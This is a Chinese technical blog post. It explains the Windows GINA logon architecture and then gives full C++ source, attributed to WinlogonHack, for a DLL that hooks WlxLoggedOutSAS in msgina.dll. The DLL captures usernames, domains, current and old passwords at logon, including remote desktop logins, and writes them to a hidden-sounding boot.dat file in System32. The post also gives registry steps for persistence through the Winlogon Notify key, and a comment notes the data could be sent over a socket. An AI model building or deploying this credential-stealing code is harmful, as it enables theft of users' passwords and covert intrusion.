关于hook自带的msgina.dll截取系统密码

发布时间:May 5, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

Windows的开机密码认证模块一般是由Gina DLL完成的。在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。

1.Gina原理
WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。
WinLogon初始化时会创建3个桌面:
(1) winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2) 应用程序桌面:我们平时见到的那个有我的电脑的界面
(3) 屏幕保护桌面:屏幕保护显示界面。
在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。
2.Gina DLL导出函数
在NT/2000 中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。GINA DLL要输出下列函数(Winlogon会调用):
(1) WlxActivateUserShell:激活用户外壳程序。
(2) WlxDisplayLockedNotice:允许GINA DLL显示锁定信息。
(3) WlxDisplaySASNotice:当没有用户登陆时,Winlogon调用此函数。
(4) WlxDisplayStatusMessage:Winlogon用一个状态信息调用此函数进行显示。
(5) WlxGetStatusMessage:Winlogon 调用此函数获取当前状态信息。
(6) WlxInitialize:针对指定的窗口位置进行GINA DLL初始化。
(7) WlxIsLockOk:验证工作站正常锁定。
(8) WlxIslogoffOk:验证注销正常。
(9) WlxLoggedOnSAS:用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数。
(10) WlxLoggedOutSAS:没有用户登陆,如果此时收到SAS事件,则Winlogon调用此函数。
(11) WlxLogoff:请求注销操作时通知GINA DLL。
(12) WlxNegotiate:表示当前的Winlogon版本是否能使用GINA DLL。
(13) WlxNetworkProviderLoad:在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数。
(14) WlxRemoveStatusMessage:Winlogon调用此函数告诉GINA DLL停止显示状态信息。
(15) WlxScreensaverNotify:允许GINA与屏幕保护操作交互。
(16) WlxShutdown:在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡。
(17) WlxStartApplication:当系统需要在用户的上下文中启动应用程序时调用此函数。
(18) WlxWkstaLockedSAS:当工作站被锁定,如果接收到一个SAS,则Winlogon调用此函数。
我们通过对上述的18个基本函数进行重写,来实现USB身份认证系统的Windows登录身份认证。

关于msgina.dll可以查看百科的介绍http://baike.baidu.com/view/662342.htm

关于截取的原理就是:系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有PWLX_MPR_NOTIFY_INFO结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。

实现的过程就是:

生成dll文件,并把这个文件复制到系统目录。并把文件加入到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wminotify里面。不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.

来自WinlogonHack,并且附上自己解读的源码:

// Hookmsgina.cpp : Defines the entry point for the DLL application.
/*
系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO 
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了
*/

#include "stdafx.h"
#include <tchar.h>
//宏定义
#define WLX_SAS_ACTION_LOGON  (1)

//WLX_MPR_NOTIFY_INFO结构
typedef struct _WLX_MPR_NOTIFY_INFO {   
    PWSTR           pszUserName;    
    PWSTR           pszDomain;  
    PWSTR           pszPassword;    
    PWSTR           pszOldPassword;
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;

//函数原形
// GINA DLLs are ignored in Windows Vista
typedef int (WINAPI* WlxLoggedOutSAS)(
                                      PVOID                   pWlxContext, // pointer to GINA context
                                      DWORD                   dwSasType,   // Indicates that a user has typed the standard CTRL+ALT+DEL SAS.....
                                      PLUID                   pAuthenticationId,
                                      PSID                    pLogonSid,
                                      PDWORD                  pdwOptions,
                                      PHANDLE                 phToken,
                                      PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                      PVOID *                 pProfile
);


DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter);

//自定义接管的API函数,形参保持一致  
int   WINAPI FunNewWlxLoggedOutSAS( PVOID  pWlxContext,DWORD dwSasType,PLUID pAuthenticationId,PSID  pLogonSid,
                                PDWORD                  pdwOptions,
                                PHANDLE                 phToken,
                                PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                PVOID *                 pProfile);
void WriteLog(  PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo);  // WLX_MPR_NOTIFY_INFOv
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);
void WriteCurrentTime(HANDLE hfile);
void HookWlxLoggedOutSAS();
void UnHookWlxLoggedOutSAS();

//定义字节对齐方式
#pragma pack(1)
  
struct HookTable{
    HMODULE         hMsgina;
    WlxLoggedOutSAS OldWlxLoggedOutSAS; // --->原始WlxLoggedOutSAS函数入口 -----> 修改前的WlxLoggedOutSAS函数指针
    WlxLoggedOutSAS NewWlxLoggedOutSAS; // --->自定义的函数
    unsigned char   OldCode[6];     /* mov edi,edi      \x8B\xFF
                                       push ebp         \x55
                                       mov ebp,esp      \x8B\xEC
                                    */
    unsigned char   JmpCode[6];     /* 
                                        \xE9\x00\x00\x00\x00
                                    */
};
//全局hook表
HookTable hooktable = {  
                        0 ,
                        0 ,                       // 初始化 OldWlxLoggedOutSAS为0
                        &FunNewWlxLoggedOutSAS ,  // 设置新的WlxLoggedOutSAS指针
                        "\x8B\xFF\x55\x8B\xEC" ,
                        "\xE9\x00\x00\x00\x00"   // 跳转到接下来的一条指令 "\xE9\x00\x00\x00\x00",
                        };
/*
------------------------------------
XP,2003系统中msgina.dll的入口点如下:
\x8B\xFF       mov  edi,edi
\x55           push ebp
\x8B\xEC       mov  ebp,esp


2000系统中msgina.dll的入口如下:
\x8B\xCO       mov  eax,eax
\x55           push ebp
\x8B\xEC       mov  ebp,esp


GINA DLLS are ignored in Windows Wista
------------------------------------
*/
#pragma pack()


BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
/************************************************************************/  
/* 函数说明:DLL的主函数                                             */  
/* 参数:                                                              */  
/* 返回值:                                                             */  
/************************************************************************/                       
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
         HANDLE hthread = CreateThread( 0 , 
             0 , 
             LPTHREAD_START_ROUTINE(StartHookWlxLoggedOutSAS) , 
             0 , 
             0 , 
             0);
         CloseHandle( hthread );
        break;  // 此处如果不从DLL返回到系统进程空间,将导致故障
    }
    return TRUE;
}



DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter)
/************************************************************************/  
/* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数    */  
/* 参数:无                                                             */  
/* 返回值:0表示成功                                                    */  
/************************************************************************/  
{
    //得到msgina.dll  
    //hooktable.hMsgina  
    hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));
    if ( hooktable.hMsgina == NULL)
    {
        return 0 ;
    }
    //得到WlxLoggedOutSAS
    hooktable.OldWlxLoggedOutSAS = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );
    ////得到原始函数地址,等下撤销HOOK会用到 
    if (hooktable.OldWlxLoggedOutSAS == NULL)
    {
        return 0 ;
    }
    /*
    WlxLoggedOutSAS函数的入口:
    758D679B >    8BFF          mov     edi, edi
    758D679D   .  55            push    ebp
    758D679E   .  8BEC          mov     ebp, esp
    758D67A0   .  83EC 40       sub     esp, 40
    */    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    // 根据版本选择 msgina.dll WlxLoggedOutSAS入口代码
    for (int i=0 ;  i < 4 ; i++ )   // "\x8B\xFF\x55\x8B\xEC"总计5个字节
    {
        if (p[i] != hooktable.OldCode[i])  
        // 检测获取的WlxLoggedOutSAS入口数据是非与设定的数据相同[设定的是xp,2003版本]
        {
            return 0;
        }
    }
     //----------------重定位新的WlxLoggedOut入口点------------------
    int *OpCode = (int *)&hooktable.JmpCode[1];  // OpCode ---->75--[8D679B]   此处的Jmp[1]=00
    int Code = (int)hooktable.NewWlxLoggedOutSAS - (int)hooktable.OldWlxLoggedOutSAS - 5;
    // OpCode ---->75--[8D679B]   此处的Jmp[1]=00 

    *OpCode = Code;

    /*
    OpCode[0] = (BYTE)(Code & 0xff);
    OpCode[1] = (BYTE)((Code>>8) & 0xff);
    OpCode[2] = (BYTE)((Code>>16) & 0xff);
    OpCode[3] = (BYTE)((Code>>24)& 0xff);
    */

    HookWlxLoggedOutSAS();

    return 0;
}

void HookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                  */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    DWORD OldProtect = NULL;

    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        PAGE_EXECUTE_READWRITE ,
        &OldProtect
        );  //OldProtect返回一个内存属性值

    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ )
    {
        p[i] = hooktable.JmpCode[i];  //现在JmpCode相当于E9 00 00 00 00   JmpCode[i]
    }

    VirtualProtect( hooktable.OldWlxLoggedOutSAS , 
        5 ,
        OldProtect ,
        &OldProtect 
        ); //将内存属性还原.

    return;
}

void UnHookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                   */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/
{
    DWORD OldProtect = NULL;
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 , 
        PAGE_EXECUTE_READWRITE ,
        &OldProtect );
    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ ) // hook后将入口改回去
    {
        p[i] = hooktable.OldCode[i]; //hooktable[1]
    }
    
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        OldProtect ,
        &OldProtect );
    
    return;
}

void WriteLog(PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo)
/************************************************************************/  
/* 函数说明:将得到的用户名和密码信息写入文件中                       */  
/* 参数:pNprNotifyInfo 包含用户名和密码的结构体                        */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    int size_u = lstrlenW( pNprNotifyInfo->pszUserName );
    size_u += lstrlenW( pNprNotifyInfo->pszDomain );
    size_u += lstrlenW( pNprNotifyInfo->pszPassword );
    size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );
    
    unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    char *pBuffer = (char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    
    ZeroMemory( pWBuffer  , size_u + 1024 );
    ZeroMemory( pBuffer  , size_u + 1024 ); // pWBuffer ------> pBuffer
    
    if ( !pBuffer )
    {
        return;
    }else
    {   //写进记录 八卦下,这里似乎也是可以调用socket来远程发送
        wsprintfW( pWBuffer ,
            L"\r\nUser    = %s \r\nDomain  = %s \r\nPass    = %s \r\nOldPass = %s\r\n\r\n" ,
            pNprNotifyInfo->pszUserName , //账号
            pNprNotifyInfo->pszDomain ,   //当前的组或域
            pNprNotifyInfo->pszPassword , //密码
            pNprNotifyInfo->pszOldPassword //旧密码
            );
        
        WideToByte( pBuffer ,
            pWBuffer ,
            lstrlenW( pWBuffer )
            );
    }
    char LogPath[MAX_PATH] = {0};
    GetSystemDirectory( LogPath , MAX_PATH); // 密码文件
    lstrcat( LogPath , "\\boot.dat"); //写进boot.dat里面
    HANDLE hfile = CreateFile(
        LogPath , 
        GENERIC_WRITE , 
        FILE_SHARE_WRITE ,
        0 ,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL ,
        0  );
    if (hfile != INVALID_HANDLE_VALUE)
    {
        unsigned long ret;
        SetFilePointer( hfile , -1 ,  0 , FILE_END);
        
        WriteCurrentTime( hfile );
        WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );
        
        CloseHandle( hfile );
    }else
    {
        GetLastError();
    }
    
    GlobalFree( pWBuffer );
    GlobalFree( pBuffer  );
    return; // 返回到原线程
}
//记录SAS事件的事件
void WriteCurrentTime(HANDLE hfile)
{
    SYSTEMTIME st;
    DWORD ret = 0;
    
    GetLocalTime(&st);
    char buffer[200] ={0};
    wsprintf( buffer , "\r\n%d/%d/%d/%d:%d:%d" ,
        st.wYear ,
        st.wMonth ,
        st.wDay ,
        st.wHour ,
        st.wMinute,
        st.wSecond 
        );
    WriteFile( hfile , buffer , lstrlen( buffer ) ,  &ret , 0 );
}

int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
    //MessageBox(0,"WideToByte","---",MB_OK);
    return WideCharToMultiByte( CP_ACP ,
        WC_COMPOSITECHECK ,
        sz_source ,
        -1 ,
        sz_target ,
        size_ansi ,
        0 ,
        0 );
}
//================================================Hook后,预调用的函数=============================
//自定义WlxLoggedOutSAS函数,用于替换原函数,所以参数表与原函数完全一致
int WINAPI FunNewWlxLoggedOutSAS(
                 PVOID                   pWlxContext,
                 DWORD                   dwSasType,
                 PLUID                   pAuthenticationId,
                 PSID                    pLogonSid,
                 PDWORD                  pdwOptions,
                 PHANDLE                 phToken,
                 PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                 PVOID *                 pProfile
)
{
    UnHookWlxLoggedOutSAS();
    //hooktable.OldWlxLoggedOutSAS即为原WlxLoggedOutSAS函数
    int i = hooktable.OldWlxLoggedOutSAS(pWlxContext  ,
                                        dwSasType , 
                                        pAuthenticationId ,
                                        pLogonSid ,
                                        pdwOptions ,
                                        phToken ,
                                        pNprNotifyInfo,
                                        pProfile
                                        );
    if (i = WLX_SAS_ACTION_LOGON )
    {

        //MessageBoxW( 0 , pNprNotifyInfo->pszUserName , pNprNotifyInfo->pszPassword , MB_OK);
        
        WriteLog( pNprNotifyInfo );
    }
    return i;
}

extern "C" __declspec(dllexport) void __stdcall EventStartup(DWORD Parameter) // extern "C" --C不能小写
{
    //MessageBox( 0 , "开机了" , "通知你" , MB_OK );
    return;
}

extern "C" __declspec(dllexport) void __stdcall EventLogon(DWORD Parameter)
{
    //MessageBox( 0 , "登录了" , "通知你" , MB_OK );
    return;
}

 

标签:msgina.dll, hook, WlxLoggedOutSAS

添加新评论 »

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...